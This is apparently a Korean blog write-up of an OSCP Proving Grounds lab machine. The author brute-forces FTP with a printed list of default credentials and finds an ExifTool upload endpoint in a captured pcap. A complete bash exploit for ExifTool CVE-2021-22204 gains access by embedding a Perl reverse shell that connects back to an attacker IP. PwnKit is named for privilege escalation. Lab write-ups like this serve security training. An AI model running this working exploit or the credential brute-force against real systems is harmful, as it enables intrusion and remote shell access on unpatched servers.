1. Information Gathering
: Port Scanning
서비스가 2개 오픈 상태인데
80 접속해 보면 forbidden이 뜸
ftp의 경우 anonymous 로그인 허용이 불가능한 상태인데
이런저런 시도를 해봐도 달리 공격포인트를 못 찾다가
로그인을 위한 쉬운 credentials list를 찾아보았고
# /usr/share/seclists/Passwords/Default-Credentials/ftp-betterdefaultpasslist.txt
anonymous:anonymous
root:rootpasswd
root:12hrs37
ftp:b1uRR3
admin:admin
localadmin:localadmin
admin:1234
apc:apc
admin:nas
Root:wago
Admin:wago
User:user
Guest:guest
ftp:ftp
admin:password
a:avery
admin:123456
adtec:none
admin:admin12345
none:dpstelecom
instrument:instrument
user:password
root:password
default:default
admin:default
nmt:1234
admin:Janitza
supervisor:supervisor
user1:pass1
avery:avery
IEIeMerge:eMerge
ADMIN:12345
beijer:beijer
Admin:admin
admin:1234
admin:1111
root:admin
se:1234
admin:stingray
device:apc
apc:apc
dm:ftp
dmftp:ftp
httpadmin:fhttpadmin
user:system
MELSEC:MELSEC
QNUDECPU:QNUDECPU
ftp_boot:ftp_boot
uploader:ZYPCOM
ftpuser:password
USER:USER
qbf77101:hexakisoctahedron
ntpupdate:ntpupdate
sysdiag:factorycast@schneider
wsupgrade:wsupgrade
pcfactory:pcfactory
loader:fwdownload
test:testingpw
webserver:webpages
fdrusers:sresurdf
nic2212:poiuypoiuy
user:user00
su:ko2003wa
MayGion:maygion.com
admin:9999
PlcmSpIp:PlcmSpIp
위 리스트를 토대로 user/password를 구분한 뒤
hydra를 돌려보면 ftp 로그인이 가능.
접속 성공 후 파일 다운로드!
다운받은 파일을 살펴보니 pcap 파일이고
wireshark로 패킷을 살펴보니
/exiftest.php 경로,
myFile에 testme.jpg
업로드 한 흔적을 확인할 수 있고
POST request의 endpoint에서
Exiftool의 버전 확인이 가능하다.
2. Exploitation
관련 취약점을 찾아보니
'Improper neutralization of user data in the DjVu file format in ExifTool versions 7.44 and up allows arbitrary code execution when parsing the malicious image
ExifTool 버전 7.44 이상에서 DjVu 파일 형식의 사용자 데이터의 부적절한 무효화로 인해
악성 이미지를 구문 분석할 때 임의 코드 실행이 허용됨'
라고 하니
이미지 파일에 시스템 명령어를 삽입한 뒤
해당 파일을 어딘가 업로드 후 실행시키면
되겠다.
해당 작업을 위해 임의의 이미지 파일을 하나 가져오고
찾은 eval.config 파일을 살펴본다.
%Image::ExifTool::UserDefined = (
'Image::ExifTool::Exif::Main' => {
0xc51b => {
Name => 'eval',
Binary => 1,
Writable => 'undef',
WriteGroup => 'IFD0',
ValueConvInv => sub {
use MIME::Base64;
my $val = shift;
$encoded = encode_base64($val);
my $meta = qq/(metadata(Copyright "\\\n" eq ''; return (eval { use MIME::Base64; eval(decode_base64(q%$encoded%)); });#"))/;
my $len = pack "N", length($meta);
my $payload = qq/AT&TFORM\x00\x00\x00\x08DJVUANTa$len$meta/;
return $payload;
}
}
}
)
위 config 파일을 사용해
exiftool 명령어로
가지고 온 이미지를 변조시킨 뒤
# exiftool -config eval.config p.jpg -eval='system("ls -al")'
curl로 파일을 올려보면
exiftool -config eval.config p.jpg -eval='system("ls -al")'
업로드는 잘 되는 것 같은데
실행은 안 되는듯하다.
조금 더 찾아보면
좀 더 업그레이드된 exploit을
찾을 수 있는데
#!/bin/bash
RS='\033[0m'
R='\033[0;31m'
G='\033[0;32m'
LB='\033[1;34m'
CY='\033[0;36m'
W='\033[1;73m'
art=$(base64 -d <<< "H4sIAFNGCWEA/52OMRLEIAwD+7xiy1Dxm6s8w0f8+KxyUFx7eGQhodgBVs4viy8ptz5Qx75gqoqSc2sLBtRLHcfLgX6TusTtmOLDbEytlQn3yCATW5/Sz6DVbizf2j7fVDPteiHX+0f5diM+5rLxz/MATvFQnxwBAAA=" | gunzip)
printf "${G}$art${RS}"
# Check for params
if [ ${#@} -lt 2 ]; then
echo -e "\nUsage: ./CVE-2021-22204 cmd image.jpg"
echo -e "Eg: ./CVE-2021-22204 \"system('id')\" kitten.jpg"
echo -e "Reverseshell: ./CVE-2021-22204 \"reverseme IP PORT\" image.jpg"
exit
fi
# Check djvulibre is installed.
if [ $(dpkg-query -W -f='${Status}' "djvulibre-bin" 2>/dev/null | grep -c "ok installed") -eq 0 ];then
echo -e -n "\n${R}Warning:${RS} djvulibre-bin is not installed.\n"
echo -e "${G}Confirm: ${RS}"
read -p "Install djvulibre-bin now? (y/n): " confirm
if [[ ${confirm} =~ ^([yY][eE][sS]|[yY])$ ]]; then
sudo apt-get install djvulibre-bin -y
else
exit
fi
fi
# Create payload
echo -e "\nCreating payload"
cmd="$1"
if [[ "${cmd:0:9}" = "reverseme" ]]; then
ip=$(echo "$cmd"| cut -d " " -f 2)
port=$(echo "$cmd"| cut -d " " -f 3)
echo "IP: $ip"
echo "PORT: $port"
cat <<EOF> payload
(metadata "\c\${use Socket;socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp'));if(connect(S,sockaddr_in($port,inet_aton('$ip')))){open(STDIN,'>&S');open(STDOUT,'>&S');open(STDERR,'>&S');exec('/bin/sh -i');};};};")
EOF
else
cat <<EOF > payload
(metadata "\c\${$1};")
EOF
fi
cat payload
echo -e "\n"
# Compress payload
bzz payload payload.bzz
# INFO = Anything in the format 'N,N' where N is a number
# BGjp = Expects a JPEG image, but we can use /dev/null to use nothing as background image
# ANTz = Will write the compressed annotation chunk with the input file
djvumake exploit.djvu INFO='1,1' BGjp=/dev/null ANTz=payload.bzz
cat <<EOF> configfile
%Image::ExifTool::UserDefined = (
# All EXIF tags are added to the Main table, and WriteGroup is used to
# specify where the tag is written (default is ExifIFD if not specified):
'Image::ExifTool::Exif::Main' => {
# Example 1. EXIF:NewEXIFTag
0xc51b => {
Name => 'HasselbladExif',
Writable => 'string',
WriteGroup => 'IFD0',
},
# add more user-defined EXIF tags here...
},
);
1; #end%
EOF
exiftool -config configfile '-HasselbladExif<=exploit.djvu' "$2"
rm configfile payload.bzz payload exploit.djvu
echo -e -n "\n${G}Finished${RS}"
해당 프로그램을 실행시켜 보면
p.jpg 파일을 리버스 쉘 파일로 변조시킬 수 있고
리스너를 기동 후 해당 파일을 업로드해 보면
침투 성공
3. Privilege Escalation
policykit-1 패키지
버전 확인
0.105-26 ubuntu1.1
0.105-26 ubuntu1.2
관련 취약점을 찾아보면
CVE-2021-4034(PwnKit)으로
Polkit의 pkexec 컴포턴트에 존재하는 취약점.
exploit을 검색한 뒤
(python exploit code for pwnkit 또는
python exploit code forcve-2021-4034)
돌려보면
끝
'OSCP > Proving Ground' 카테고리의 다른 글
9. Kevin (WARM UP) - Windows (0) | 2022.06.06 |
---|---|
8. Exfiltrated (WARM UP) - Linux (exiftool-djvumaker) (0) | 2022.05.30 |
6. Bratarina (WARM UP) Linux (SMTP) (0) | 2022.05.28 |
5. Wombo (WARM UP) Linux (6379 : Redis(Remote Dictionary Server)) (0) | 2022.05.26 |
4. Muddy (WARM UP) - Linux (XXE injection) (0) | 2022.05.23 |